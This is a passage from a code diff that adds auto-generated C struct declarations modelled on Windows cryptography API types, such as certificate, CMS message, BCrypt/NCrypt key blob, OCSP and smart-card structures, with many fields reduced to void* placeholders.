+ unsigned int cbOID; +} CMS_KEY_INFO; + +typedef struct _NCRYPT_PCP_RAW_POLICYDIGEST_INFO { + unsigned int dwVersion; + unsigned int cbDigest; +} NCRYPT_PCP_RAW_POLICYDIGEST_INFO; + +typedef struct _CMSG_MAIL_LIST_RECIPIENT_ENCODE_INFO { + unsigned int cbSize; + void* KeyEncryptionAlgorithm; + void* pvKeyEncryptionAuxInfo; + unsigned long long hCryptProv; + unsigned int dwKeyChoice; + void* Anonymous; + void* KeyId; + void* Date; + void* pOtherAttr; +} CMSG_MAIL_LIST_RECIPIENT_ENCODE_INFO; + +typedef struct _CERT_REVOCATION_STATUS { + unsigned int cbSize; + unsigned int dwIndex; + unsigned int dwError; + void* dwReason; + BOOL fHasFreshnessTime; + unsigned int dwFreshnessTime; +} CERT_REVOCATION_STATUS; + +typedef struct _BCRYPT_PQDSA_KEY_BLOB { + unsigned int dwMagic; + unsigned int cbParameterSet; + unsigned int cbKey; +} BCRYPT_PQDSA_KEY_BLOB; + +typedef struct _RSAPUBKEY { + unsigned int magic; + unsigned int bitlen; + unsigned int pubexp; +} RSAPUBKEY; + +typedef struct _CARD_AUTHENTICATE { + unsigned int dwVersion; + unsigned int dwFlags; + unsigned int PinId; + unsigned int cbPinData; + unsigned char pbPinData[1]; +} CARD_AUTHENTICATE; + +typedef struct _CMC_STATUS_INFO { + unsigned int dwStatus; + unsigned int cBodyList; + void* rgdwBodyList; + void* pwszStatusString; + unsigned int dwOtherInfoChoice; + void* Anonymous; +} CMC_STATUS_INFO; + +typedef struct _CERT_NAME_VALUE { + unsigned int dwValueType; + void* Value; +} CERT_NAME_VALUE; + +typedef struct _CMC_TAGGED_OTHER_MSG { + unsigned int dwBodyPartID; + void* pszObjId; + void* Value; +} CMC_TAGGED_OTHER_MSG; + +typedef struct _NCRYPT_SECRET_HANDLE { + unsigned long long Value; +} NCRYPT_SECRET_HANDLE; + +typedef struct _CRYPT_DECRYPT_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgAndCertEncodingType; + unsigned int cCertStore; + void* rghCertStore; +} CRYPT_DECRYPT_MESSAGE_PARA; + +typedef struct _CMSG_KEY_TRANS_RECIPIENT_ENCODE_INFO { + unsigned int cbSize; + void* KeyEncryptionAlgorithm; + void* pvKeyEncryptionAuxInfo; + void* hCryptProv; + void* RecipientPublicKey; + void* RecipientId; +} CMSG_KEY_TRANS_RECIPIENT_ENCODE_INFO; + +typedef struct _CERT_CHAIN_FIND_BY_ISSUER_PARA { + unsigned int cbSize; + void* pszUsageIdentifier; + unsigned int dwKeySpec; + unsigned int dwAcquirePrivateKeyFlags; + unsigned int cIssuer; + void* rgIssuer; + void* pfnFindCallback; + void* pvFindArg; +} CERT_CHAIN_FIND_BY_ISSUER_PARA; + +typedef struct _CRYPT_RC4_KEY_STATE { + unsigned char Key[16]; + unsigned char SBox[256]; + unsigned char i; + unsigned char j; +} CRYPT_RC4_KEY_STATE; + +typedef struct _NCRYPT_PCP_TPM_WEB_AUTHN_ATTESTATION_STATEMENT { + unsigned int Magic; + unsigned int Version; + unsigned int HeaderSize; + unsigned int cbCertifyInfo; + unsigned int cbSignature; + unsigned int cbTpmPublic; +} NCRYPT_PCP_TPM_WEB_AUTHN_ATTESTATION_STATEMENT; + +typedef struct _CMC_TAGGED_CONTENT_INFO { + unsigned int dwBodyPartID; + void* EncodedContentInfo; +} CMC_TAGGED_CONTENT_INFO; + +typedef struct _NCRYPT_VBS_KEY_ATTESTATION_STATEMENT { + unsigned int Magic; + unsigned int Version; + unsigned int ClaimType; +} NCRYPT_VBS_KEY_ATTESTATION_STATEMENT; + +typedef struct _NCryptAlgorithmName { + void* pszName; + void* dwClass; + void* dwAlgOperations; + unsigned int dwFlags; +} NCryptAlgorithmName; + +typedef struct _CRYPT_XML_X509DATA { + unsigned int cX509Data; + void* rgX509Data; +} CRYPT_XML_X509DATA; + +typedef struct _CRYPT_SMIME_CAPABILITIES { + unsigned int cCapability; + void* rgCapability; +} CRYPT_SMIME_CAPABILITIES; + +typedef struct _VTableProvStruc { + unsigned int Version; + void* FuncVerifyImage; + void* FuncReturnhWnd; + unsigned int dwProvType; + void* pbContextInfo; + unsigned int cbContextInfo; + void* pszProvName; +} VTableProvStruc; + +typedef struct _DSSSEED { + unsigned int counter; + unsigned char seed[20]; +} DSSSEED; + +typedef struct _BCRYPT_ECCFULLKEY_BLOB { + unsigned int dwMagic; + unsigned int dwVersion; + void* dwCurveType; + void* dwCurveGenerationAlgId; + unsigned int cbFieldLength; + unsigned int cbSubgroupOrder; + unsigned int cbCofactor; + unsigned int cbSeed; +} BCRYPT_ECCFULLKEY_BLOB; + +typedef struct _OCSP_BASIC_RESPONSE_ENTRY { + void* CertId; + unsigned int dwCertStatus; + void* Anonymous; + void* ThisUpdate; + void* NextUpdate; + unsigned int cExtension; + void* rgExtension; +} OCSP_BASIC_RESPONSE_ENTRY; + +typedef struct _CERT_TRUST_STATUS { + unsigned int dwErrorStatus; + unsigned int dwInfoStatus; +} CERT_TRUST_STATUS; + +typedef struct _BCRYPT_ASYMMETRIC_ENCRYPTION_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* GenerateKeyPair; + void* FinalizeKeyPair; + void* Encrypt; + void* Decrypt; + void* ImportKeyPair; + void* ExportKey; + void* DestroyKey; + void* SignHash; + void* VerifySignature; +} BCRYPT_ASYMMETRIC_ENCRYPTION_FUNCTION_TABLE; + +typedef struct _CRYPT_MASK_GEN_ALGORITHM { + void* pszObjId; + void* HashAlgorithm; +} CRYPT_MASK_GEN_ALGORITHM; + +typedef struct _BCRYPT_DH_PARAMETER_HEADER { + unsigned int cbLength; + unsigned int dwMagic; + unsigned int cbKeyLength; +} BCRYPT_DH_PARAMETER_HEADER; + +typedef struct _CERT_REGISTRY_STORE_ROAMING_PARA { + void* hKey; + void* pwszStoreDirectory; +} CERT_REGISTRY_STORE_ROAMING_PARA; + +typedef struct _INFORMATIONCARD_TRANSFORM_CRYPTO_PARAMETERS { + int inputBlockSize; + int outputBlockSize; + BOOL canTransformMultipleBlocks; + BOOL canReuseTransform; +} INFORMATIONCARD_TRANSFORM_CRYPTO_PARAMETERS; + +typedef struct _OCSP_REQUEST_ENTRY { + void* CertId; + unsigned int cExtension; + void* rgExtension; +} OCSP_REQUEST_ENTRY; + +typedef struct _CERT_SELECT_CRITERIA { + void* dwType; + unsigned int cPara; + void* ppPara; +} CERT_SELECT_CRITERIA; + +typedef struct _SIGNER_FILE_INFO { + unsigned int cbSize; + void* pwszFileName; + void* hFile; +} SIGNER_FILE_INFO; + +typedef struct _CRYPT_PKCS8_IMPORT_PARAMS { + void* PrivateKey; + void* pResolvehCryptProvFunc; + void* pVoidResolveFunc; + void* pDecryptPrivateKeyFunc; + void* pVoidDecryptFunc; +} CRYPT_PKCS8_IMPORT_PARAMS; + +typedef struct _CTL_USAGE { + unsigned int cUsageIdentifier; + void* rgpszUsageIdentifier; +} CTL_USAGE; + +typedef struct _SSL_KEY_PIN_EXTRA_CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + unsigned int dwReserved; + void* pwszServerName; +} SSL_KEY_PIN_EXTRA_CERT_CHAIN_POLICY_PARA; + +typedef struct _BCRYPT_INTERFACE_VERSION { + unsigned short MajorVersion; + unsigned short MinorVersion; +} BCRYPT_INTERFACE_VERSION; + +typedef struct _CMSG_CTRL_KEY_TRANS_DECRYPT_PARA { + unsigned int cbSize; + void* Anonymous; + unsigned int dwKeySpec; + void* pKeyTrans; + unsigned int dwRecipientIndex; +} CMSG_CTRL_KEY_TRANS_DECRYPT_PARA; + +typedef struct _CRYPTPROTECT_PROMPTSTRUCT { + unsigned int cbSize; + unsigned int dwPromptFlags; + void* hwndApp; + void* szPrompt; +} CRYPTPROTECT_PROMPTSTRUCT; + +typedef struct _CARD_CHANGE_AUTHENTICATOR { + unsigned int dwVersion; + unsigned int dwFlags; + unsigned int dwAuthenticatingPinId; + unsigned int cbAuthenticatingPinData; + unsigned int dwTargetPinId; + unsigned int cbTargetData; + unsigned int cRetryCount; + unsigned char pbData[1]; +} CARD_CHANGE_AUTHENTICATOR; + +typedef struct _NCRYPT_VBS_IDENTITY_KEY_ATTESTATION_CLAIM_DETAILS { + unsigned int ulKeyFlags; + void* pszSignatureHashAlg; + unsigned int ulPaddingScheme; + void* pszPaddingHashAlg; + unsigned int ulPaddingSalt; +} NCRYPT_VBS_IDENTITY_KEY_ATTESTATION_CLAIM_DETAILS; + +typedef struct _CMSG_RECIPIENT_ENCODE_INFO { + unsigned int dwRecipientChoice; + void* Anonymous; +} CMSG_RECIPIENT_ENCODE_INFO; + +typedef struct _CRYPT_AES_256_KEY_STATE { + unsigned char Key[32]; + unsigned char IV[16]; + unsigned char EncryptionState[240]; + unsigned char DecryptionState[240]; + unsigned char Feedback[16]; +} CRYPT_AES_256_KEY_STATE; + +typedef struct _CMS_DH_KEY_INFO { + unsigned int dwVersion; + void* Algid; + void* pszContentEncObjId; + void* PubInfo; + void* pReserved; +} CMS_DH_KEY_INFO; + +typedef struct _CERT_NAME_CONSTRAINTS_INFO { + unsigned int cPermittedSubtree; + void* rgPermittedSubtree; + unsigned int cExcludedSubtree; + void* rgExcludedSubtree; +} CERT_NAME_CONSTRAINTS_INFO; + +typedef struct _AUTHENTICODE_EXTRA_CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + BOOL fCommercial; +} AUTHENTICODE_EXTRA_CERT_CHAIN_POLICY_STATUS; + +typedef struct _CERT_SIGNED_CONTENT_INFO { + void* ToBeSigned; + void* SignatureAlgorithm; + void* Signature; +} CERT_SIGNED_CONTENT_INFO; + +typedef struct _CMSG_RECIPIENT_ENCRYPTED_KEY_INFO { + void* RecipientId; + void* EncryptedKey; + void* Date; + void* pOtherAttr; +} CMSG_RECIPIENT_ENCRYPTED_KEY_INFO; + +typedef struct _CARD_CACHE_FILE_FORMAT { + unsigned char bVersion; + unsigned char bPinsFreshness; + unsigned short wContainersFreshness; + unsigned short wFilesFreshness; +} CARD_CACHE_FILE_FORMAT; + +typedef struct _CMSG_ENCRYPTED_ENCODE_INFO { + unsigned int cbSize; + void* ContentEncryptionAlgorithm; + void* pvEncryptionAuxInfo; +} CMSG_ENCRYPTED_ENCODE_INFO; + +typedef struct _CMSG_RC2_AUX_INFO { + unsigned int cbSize; + unsigned int dwBitLen; +} CMSG_RC2_AUX_INFO; + +typedef struct _CRYPT_CONTENT_INFO { + void* pszObjId; + void* Content; +} CRYPT_CONTENT_INFO; + +typedef struct _CRYPT_XML_KEYINFO_PARAM { + void* wszId; + void* wszKeyName; + void* SKI; + void* wszSubjectName; + unsigned int cCertificate; + void* rgCertificate; + unsigned int cCRL; + void* rgCRL; +} CRYPT_XML_KEYINFO_PARAM; + +typedef struct _CARD_RSA_DECRYPT_INFO { + unsigned int dwVersion; + unsigned char bContainerIndex; + unsigned int dwKeySpec; + void* pbData; + unsigned int cbData; + void* pPaddingInfo; + unsigned int dwPaddingType; +} CARD_RSA_DECRYPT_INFO; + +typedef struct _CERTIFICATE_CHAIN_BLOB { + unsigned int certCount; + void* rawCertificates; +} CERTIFICATE_CHAIN_BLOB; + +typedef struct _HCRYPTPROV_OR_NCRYPT_KEY_HANDLE { + unsigned long long Value; +} HCRYPTPROV_OR_NCRYPT_KEY_HANDLE; + +typedef struct _CTL_FIND_SUBJECT_PARA { + unsigned int cbSize; + void* pUsagePara; + unsigned int dwSubjectType; + void* pvSubject; +} CTL_FIND_SUBJECT_PARA; + +typedef struct _NCRYPT_PLATFORM_ATTEST_PADDING_INFO { + unsigned int magic; + unsigned int pcrMask; +} NCRYPT_PLATFORM_ATTEST_PADDING_INFO; + +typedef struct _CRYPT_KEY_VERIFY_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgEncodingType; + void* hCryptProv; +} CRYPT_KEY_VERIFY_MESSAGE_PARA; + +typedef struct _NCRYPT_ISOLATED_KEY_ATTESTED_ATTRIBUTES { + unsigned int Version; + unsigned int Flags; + unsigned int cbPublicKeyBlob; +} NCRYPT_ISOLATED_KEY_ATTESTED_ATTRIBUTES; + +typedef struct _CERT_CHAIN_ENGINE_CONFIG { + unsigned int cbSize; + void* hRestrictedRoot; + void* hRestrictedTrust; + void* hRestrictedOther; + unsigned int cAdditionalStore; + void* rghAdditionalStore; + unsigned int dwFlags; + unsigned int dwUrlRetrievalTimeout; + unsigned int MaximumCachedCertificates; + unsigned int CycleDetectionModulus; + void* hExclusiveRoot; + void* hExclusiveTrustedPeople; + unsigned int dwExclusiveFlags; +} CERT_CHAIN_ENGINE_CONFIG; + +typedef struct _SIGNER_BLOB_INFO { + unsigned int cbSize; + void* pGuidSubject; + unsigned int cbBlob; + void* pbBlob; + void* pwszDisplayName; +} SIGNER_BLOB_INFO; + +typedef struct _SIGNER_CERT { + unsigned int cbSize; + void* dwCertChoice; + void* Anonymous; + void* hwnd; +} SIGNER_CERT; + +typedef struct _BCRYPT_DSA_KEY_BLOB_V2 { + void* dwMagic; + unsigned int cbKey; + void* hashAlgorithm; + void* standardVersion; + unsigned int cbSeedLength; + unsigned int cbGroupSize; + unsigned char Count[4]; +} BCRYPT_DSA_KEY_BLOB_V2; + +typedef struct _CERT_LOGOTYPE_AUDIO { + void* LogotypeDetails; + void* pLogotypeAudioInfo; +} CERT_LOGOTYPE_AUDIO; + +typedef struct _CRYPT_VERIFY_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgAndCertEncodingType; + void* hCryptProv; + void* pfnGetSignerCertificate; + void* pvGetArg; +} CRYPT_VERIFY_MESSAGE_PARA; + +typedef struct _CRYPT_KEY_SIGN_MESSAGE_PARA { + unsigned int cbSize; + void* dwMsgAndCertEncodingType; + void* Anonymous; + void* dwKeySpec; + void* HashAlgorithm; + void* pvHashAuxInfo; + void* PubKeyAlgorithm; +} CRYPT_KEY_SIGN_MESSAGE_PARA; + +typedef struct _NCRYPT_SUPPORTED_LENGTHS { + unsigned int dwMinLength; + unsigned int dwMaxLength; + unsigned int dwIncrement; + unsigned int dwDefaultLength; +} NCRYPT_SUPPORTED_LENGTHS; + +typedef struct _CMSG_KEY_TRANS_ENCRYPT_INFO { + unsigned int cbSize; + unsigned int dwRecipientIndex; + void* KeyEncryptionAlgorithm; + void* EncryptedKey; + unsigned int dwFlags; +} CMSG_KEY_TRANS_ENCRYPT_INFO; + +typedef struct _CRYPT_TIMESTAMP_RESPONSE { + void* dwStatus; + unsigned int cFreeText; + void* rgFreeText; + void* FailureInfo; + void* ContentInfo; +} CRYPT_TIMESTAMP_RESPONSE; + +typedef struct _PROV_ENUMALGS { + void* aiAlgid; + unsigned int dwBitLen; + unsigned int dwNameLen; + unsigned char szName[20]; +} PROV_ENUMALGS; + +typedef struct _SIGNER_ATTR_AUTHCODE { + unsigned int cbSize; + BOOL fCommercial; + BOOL fIndividual; + void* pwszName; + void* pwszInfo; +} SIGNER_ATTR_AUTHCODE; + +typedef struct _SIGNER_SPC_CHAIN_INFO { + unsigned int cbSize; + void* pwszSpcFile; + unsigned int dwCertPolicy; + void* hCertStore; +} SIGNER_SPC_CHAIN_INFO; + +typedef struct _SIGNER_SIGNATURE_INFO { + unsigned int cbSize; + void* algidHash; + void* dwAttrChoice; + void* Anonymous; + void* psAuthenticated; + void* psUnauthenticated; +} SIGNER_SIGNATURE_INFO; + +typedef struct _CMSG_SIGNED_ENCODE_INFO { + unsigned int cbSize; + unsigned int cSigners; + void* rgSigners; + unsigned int cCertEncoded; + void* rgCertEncoded; + unsigned int cCrlEncoded; + void* rgCrlEncoded; +} CMSG_SIGNED_ENCODE_INFO; + +typedef struct _OCSP_BASIC_REVOKED_INFO { + void* RevocationDate; + void* dwCrlReasonCode; +} OCSP_BASIC_REVOKED_INFO; + +// SKIPPED struct CMSCEPSetup: no representable fields +typedef struct _CLMD_PIV_GENERATE_ASYMMETRIC_KEY { + unsigned int dwVersion; + unsigned char bAlgorithmId; + unsigned char bKeyId; + void* pbKey; + unsigned int cbKey; +} CLMD_PIV_GENERATE_ASYMMETRIC_KEY; + +typedef struct _CRYPT_TIMESTAMP_REQUEST { + void* dwVersion; + void* HashAlgorithm; + void* HashedMessage; + void* pszTSAPolicyId; + void* Nonce; + BOOL fCertReq; + unsigned int cExtension; + void* rgExtension; +} CRYPT_TIMESTAMP_REQUEST; + +typedef struct _CERT_OTHER_NAME { + void* pszObjId; + void* Value; +} CERT_OTHER_NAME; + +typedef struct _BCRYPT_KEY_DERIVATION_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* GenerateKey; + void* DestroyKey; + void* KeyDerivation; + void* ExportKey; + void* ImportKey; + void* DuplicateKey; +} BCRYPT_KEY_DERIVATION_FUNCTION_TABLE; + +typedef struct _CERT_ALT_NAME_INFO { + unsigned int cAltEntry; + void* rgAltEntry; +} CERT_ALT_NAME_INFO; + +typedef struct _CERT_REQUEST_INFO { + unsigned int dwVersion; + void* Subject; + void* SubjectPublicKeyInfo; + unsigned int cAttribute; + void* rgAttribute; +} CERT_REQUEST_INFO; + +typedef struct _CERT_PRIVATE_KEY_VALIDITY { + void* NotBefore; + void* NotAfter; +} CERT_PRIVATE_KEY_VALIDITY; + +typedef struct _CERT_LOGOTYPE_IMAGE_INFO { + void* dwLogotypeImageInfoChoice; + unsigned int dwFileSize; + unsigned int dwXSize; + unsigned int dwYSize; + void* dwLogotypeImageResolutionChoice; + void* Anonymous; + void* pwszLanguage; +} CERT_LOGOTYPE_IMAGE_INFO; + +typedef struct _CERT_USAGE_MATCH { + unsigned int dwType; + void* Usage; +} CERT_USAGE_MATCH; + +typedef struct _SSL_KEY_PIN_EXTRA_CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + int lError; + unsigned short wszErrorText[512]; +} SSL_KEY_PIN_EXTRA_CERT_CHAIN_POLICY_STATUS; + +typedef struct _CRYPT_KEY_PROV_PARAM { + unsigned int dwParam; + void* pbData; + unsigned int cbData; + unsigned int dwFlags; +} CRYPT_KEY_PROV_PARAM; + +typedef struct _CERT_CREATE_CONTEXT_PARA { + unsigned int cbSize; + void* pfnFree; + void* pvFree; + void* pfnSort; + void* pvSort; +} CERT_CREATE_CONTEXT_PARA; + +typedef struct _NCRYPT_ALLOC_PARA { + unsigned int cbSize; + void* pfnAlloc; + void* pfnFree; +} NCRYPT_ALLOC_PARA; + +typedef struct _ENDPOINTADDRESS { + void* serviceUrl; + void* policyUrl; + void* rawCertificate; +} ENDPOINTADDRESS; + +typedef struct _CRYPT_XML_ALGORITHM_INFO { + unsigned int cbSize; + void* wszAlgorithmURI; + void* wszName; + void* dwGroupId; + void* wszCNGAlgid; + void* wszCNGExtraAlgid; + unsigned int dwSignFlags; + unsigned int dwVerifyFlags; + void* pvPaddingInfo; + void* pvExtraInfo; +} CRYPT_XML_ALGORITHM_INFO; + +typedef struct _BCRYPT_SIGNATURE_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* GenerateKeyPair; + void* FinalizeKeyPair; + void* SignHash; + void* VerifySignature; + void* ImportKeyPair; + void* ExportKey; + void* DestroyKey; +} BCRYPT_SIGNATURE_FUNCTION_TABLE; + +typedef struct _BCRYPT_OID { + unsigned int cbOID; + void* pbOID; +} BCRYPT_OID; + +typedef struct _CRL_ENTRY { + void* SerialNumber; + void* RevocationDate; + unsigned int cExtension; + void* rgExtension; +} CRL_ENTRY; + +typedef struct _PROV_ENUMALGS_EX { + void* aiAlgid; + unsigned int dwDefaultLen; + unsigned int dwMinLen; + unsigned int dwMaxLen; + unsigned int dwProtocols; + unsigned int dwNameLen; + unsigned char szName[20]; + unsigned int dwLongNameLen; + unsigned char szLongName[40]; +} PROV_ENUMALGS_EX; + +typedef struct _PUBLICKEYSTRUC { + unsigned char bType; + unsigned char bVersion; + unsigned short reserved; + void* aiKeyAlg; +} PUBLICKEYSTRUC; + +typedef struct _CERT_FORTEZZA_DATA_PROP { + unsigned char SerialNumber[8]; + int CertIndex; + unsigned char CertLabel[36]; +} CERT_FORTEZZA_DATA_PROP; + +typedef struct _BCRYPT_ECC_CURVE_NAMES { + unsigned int dwEccCurveNames; + void* pEccCurveNames; +} BCRYPT_ECC_CURVE_NAMES; + +typedef struct _CERT_POLICY_CONSTRAINTS_INFO { + BOOL fRequireExplicitPolicy; + unsigned int dwRequireExplicitPolicySkipCerts; + BOOL fInhibitPolicyMapping; + unsigned int dwInhibitPolicyMappingSkipCerts; +} CERT_POLICY_CONSTRAINTS_INFO; + +typedef struct _CRYPT_RETRIEVE_AUX_INFO { + unsigned int cbSize; + void* pLastSyncTime; + unsigned int dwMaxUrlRetrievalByteCount; + void* pPreFetchInfo; + void* pFlushInfo; + void* ppResponseInfo; + void* pwszCacheFileNamePrefix; + void* pftCacheResync; + BOOL fProxyCacheRetrieval; + unsigned int dwHttpStatusCode; + void* ppwszErrorResponseHeaders; + void* ppErrorContentBlob; +} CRYPT_RETRIEVE_AUX_INFO; + +typedef struct _BCRYPT_DSA_PARAMETER_HEADER { + unsigned int cbLength; + unsigned int dwMagic; + unsigned int cbKeyLength; + unsigned char Count[4]; + unsigned char Seed[20]; + unsigned char q[20]; +} BCRYPT_DSA_PARAMETER_HEADER; + +typedef struct _NCRYPT_PCP_HMAC_AUTH_SIGNATURE_INFO { + unsigned int dwVersion; + int iExpiration; + unsigned char pabNonce[32]; + unsigned char pabPolicyRef[32]; + unsigned char pabHMAC[32]; +} NCRYPT_PCP_HMAC_AUTH_SIGNATURE_INFO; + +typedef struct _NCRYPT_SSL_ECC_CURVE { + unsigned short szCurveName[255]; + unsigned char szOID[255]; + unsigned int dwPublicKeyLength; + unsigned int dwCurveType; + unsigned int dwFlags; +} NCRYPT_SSL_ECC_CURVE; + +typedef struct _CRYPTNET_URL_CACHE_RESPONSE_INFO { + unsigned int cbSize; + unsigned short wResponseType; + unsigned short wResponseFlags; + void* LastModifiedTime; + unsigned int dwMaxAge; + void* pwszETag; + unsigned int dwProxyId; +} CRYPTNET_URL_CACHE_RESPONSE_INFO; + +typedef struct _CRYPT_IMAGE_REG { + void* pszImage; + unsigned int cInterfaces; + void* rgpInterfaces; +} CRYPT_IMAGE_REG; + +typedef struct _CRYPT_RSA_SSA_PSS_PARAMETERS { + void* HashAlgorithm; + void* MaskGenAlgorithm; + unsigned int dwSaltLength; + unsigned int dwTrailerField; +} CRYPT_RSA_SSA_PSS_PARAMETERS; + +typedef struct _CERT_SERVER_OCSP_RESPONSE_OPEN_PARA { + unsigned int cbSize; + unsigned int dwFlags; + void* pcbUsedSize; + void* pwszOcspDirectory; + void* pfnUpdateCallback; + void* pvUpdateCallbackArg; +} CERT_SERVER_OCSP_RESPONSE_OPEN_PARA; + +typedef struct _NCRYPT_KEY_ACCESS_POLICY_BLOB { + unsigned int dwVersion; + unsigned int dwPolicyFlags; + unsigned int cbUserSid; + unsigned int cbApplicationSid; +} NCRYPT_KEY_ACCESS_POLICY_BLOB; + +typedef struct _CERT_TEMPLATE_EXT { + void* pszObjId; + unsigned int dwMajorVersion; + BOOL fMinorVersion; + unsigned int dwMinorVersion; +} CERT_TEMPLATE_EXT; + +typedef struct _CRYPT_GET_TIME_VALID_OBJECT_EXTRA_INFO { + unsigned int cbSize; + int iDeltaCrlIndicator; + void* pftCacheResync; + void* pLastSyncTime; + void* pMaxAgeTime; + void* pChainPara; + void* pDeltaCrlIndicator; +} CRYPT_GET_TIME_VALID_OBJECT_EXTRA_INFO; + +typedef struct _SIGNER_SUBJECT_INFO { + unsigned int cbSize; + void* pdwIndex; + void* dwSubjectChoice; + void* Anonymous; +} SIGNER_SUBJECT_INFO; + +typedef struct _CERT_POLICY_MAPPINGS_INFO { + unsigned int cPolicyMapping; + void* rgPolicyMapping; +} CERT_POLICY_MAPPINGS_INFO; + +typedef struct _CTL_CONTEXT { + unsigned int dwMsgAndCertEncodingType; + void* pbCtlEncoded; + unsigned int cbCtlEncoded; + void* pCtlInfo; + void* hCertStore; + void* hCryptMsg; + void* pbCtlContent; + unsigned int cbCtlContent; +} CTL_CONTEXT; + +typedef struct _CRYPT_VERIFY_CERT_SIGN_WEAK_HASH_INFO { + unsigned int cCNGHashAlgid; + void* rgpwszCNGHashAlgid; + unsigned int dwWeakIndex; +} CRYPT_VERIFY_CERT_SIGN_WEAK_HASH_INFO; + +typedef struct _CRYPT_XML_DOC_CTXT { + unsigned int cbSize; + void* hDocCtxt; + void* pTransformsConfig; + unsigned int cSignature; + void* rgpSignature; +} CRYPT_XML_DOC_CTXT; + +typedef struct _CMSG_KEY_AGREE_KEY_ENCRYPT_INFO { + unsigned int cbSize; + void* EncryptedKey; +} CMSG_KEY_AGREE_KEY_ENCRYPT_INFO; + +typedef struct _BCRYPT_PROVIDER_NAME { + void* pszProviderName; +} BCRYPT_PROVIDER_NAME; + +typedef struct _NCRYPT_KEY_BLOB_HEADER { + unsigned int cbSize; + unsigned int dwMagic; + unsigned int cbAlgName; + unsigned int cbKeyData; +} NCRYPT_KEY_BLOB_HEADER; + +typedef struct _CERT_REVOCATION_PARA { + unsigned int cbSize; + void* pIssuerCert; + unsigned int cCertStore; + void* rgCertStore; + void* hCrlStore; + void* pftTimeToUse; +} CERT_REVOCATION_PARA; + +typedef struct _CRYPT_VERIFY_CERT_SIGN_STRONG_PROPERTIES_INFO { + void* CertSignHashCNGAlgPropData; + void* CertIssuerPubKeyBitLengthPropData; +} CRYPT_VERIFY_CERT_SIGN_STRONG_PROPERTIES_INFO; + +typedef struct _CRYPT_XML_DATA_PROVIDER { + void* pvCallbackState; + unsigned int cbBufferSize; + void* pfnRead; + void* pfnClose; +} CRYPT_XML_DATA_PROVIDER; + +typedef struct _CARD_DH_AGREEMENT_INFO { + unsigned int dwVersion; + unsigned char bContainerIndex; + unsigned int dwFlags; + unsigned int dwPublicKey; + void* pbPublicKey; + void* pbReserved; + unsigned int cbReserved; + unsigned char bSecretAgreementIndex; +} CARD_DH_AGREEMENT_INFO; + +typedef struct _CRYPT_DECODE_PARA { + unsigned int cbSize; + void* pfnAlloc; + void* pfnFree; +} CRYPT_DECODE_PARA; + +typedef struct _CMSG_MAIL_LIST_RECIPIENT_INFO { + unsigned int dwVersion; + void* KeyId; + void* KeyEncryptionAlgorithm; + void* EncryptedKey; + void* Date; + void* pOtherAttr; +} CMSG_MAIL_LIST_RECIPIENT_INFO; + +typedef struct _CRYPT_ECC_CMS_SHARED_INFO { + void* Algorithm; + void* EntityUInfo; + unsigned char rgbSuppPubInfo[4]; +} CRYPT_ECC_CMS_SHARED_INFO; + +typedef struct _CERT_OR_CRL_BLOB { + unsigned int dwChoice; + unsigned int cbEncoded; + void* pbEncoded; +} CERT_OR_CRL_BLOB; + +typedef struct _CERT_CONTEXT { + void* dwCertEncodingType; + void* pbCertEncoded; + unsigned int cbCertEncoded; + void* pCertInfo; + void* hCertStore; +} CERT_CONTEXT; + +typedef struct _CTL_USAGE_MATCH { + unsigned int dwType; + void* Usage; +} CTL_USAGE_MATCH; + +typedef struct _CRYPT_PROVIDER_REF { + unsigned int dwInterface; + void* pszFunction; + void* pszProvider; + unsigned int cProperties; + void* rgpProperties; + void* pUM; + void* pKM; +} CRYPT_PROVIDER_REF; + +typedef struct _CRYPT_ENROLLMENT_NAME_VALUE_PAIR { + void* pwszName; + void* pwszValue; +} CRYPT_ENROLLMENT_NAME_VALUE_PAIR; + +typedef struct _CERT_EXTENSION { + void* pszObjId; + BOOL fCritical; + void* Value; +} CERT_EXTENSION; + +typedef struct _CERT_STORE_PROV_FIND_INFO { + unsigned int cbSize; + unsigned int dwMsgAndCertEncodingType; + unsigned int dwFindFlags; + unsigned int dwFindType; + void* pvFindPara; +} CERT_STORE_PROV_FIND_INFO; + +typedef struct _CRYPT_XML_KEY_INFO { + unsigned int cbSize; + void* wszId; + unsigned int cKeyInfo; + void* rgKeyInfo; + void* hVerifyKey; +} CRYPT_XML_KEY_INFO; + +typedef struct _RECIPIENTPOLICY2 { + void* recipient; + void* issuer; + void* tokenType; + void* requiredClaims; + void* optionalClaims; + void* privacyUrl; + unsigned int privacyVersion; +} RECIPIENTPOLICY2; + +typedef struct _CERT_X942_DH_PARAMETERS { + void* p; + void* g; + void* q; + void* j; + void* pValidationParams; +} CERT_X942_DH_PARAMETERS; + +typedef struct _CRYPT_URL_ARRAY { + unsigned int cUrl; + void* rgwszUrl; +} CRYPT_URL_ARRAY; + +typedef struct _NCryptProviderName { + void* pszName; + void* pszComment; +} NCryptProviderName; + +typedef struct _HCRYPTASYNC { + long long Value; +} HCRYPTASYNC; + +typedef struct _ROOT_INFO_LUID { + unsigned int LowPart; + int HighPart; +} ROOT_INFO_LUID; + +typedef struct _CRYPT_XML_CRYPTOGRAPHIC_INTERFACE { + unsigned int cbSize; + void* fpCryptXmlEncodeAlgorithm; + void* fpCryptXmlCreateDigest; + void* fpCryptXmlDigestData; + void* fpCryptXmlFinalizeDigest; + void* fpCryptXmlCloseDigest; + void* fpCryptXmlSignData; + void* fpCryptXmlVerifySignature; + void* fpCryptXmlGetAlgorithmInfo; +} CRYPT_XML_CRYPTOGRAPHIC_INTERFACE; + +typedef struct _NCRYPT_VBS_ROOT_ATTESTATION_HEADER { + unsigned int Magic; + unsigned int Version; + unsigned int cbAttributes; + unsigned int cbNonce; + unsigned int cbReport; + unsigned int cbSignature; +} NCRYPT_VBS_ROOT_ATTESTATION_HEADER; + +typedef struct _CRYPT_XML_PROPERTY { + void* dwPropId; + void* pvValue; + unsigned int cbValue; +} 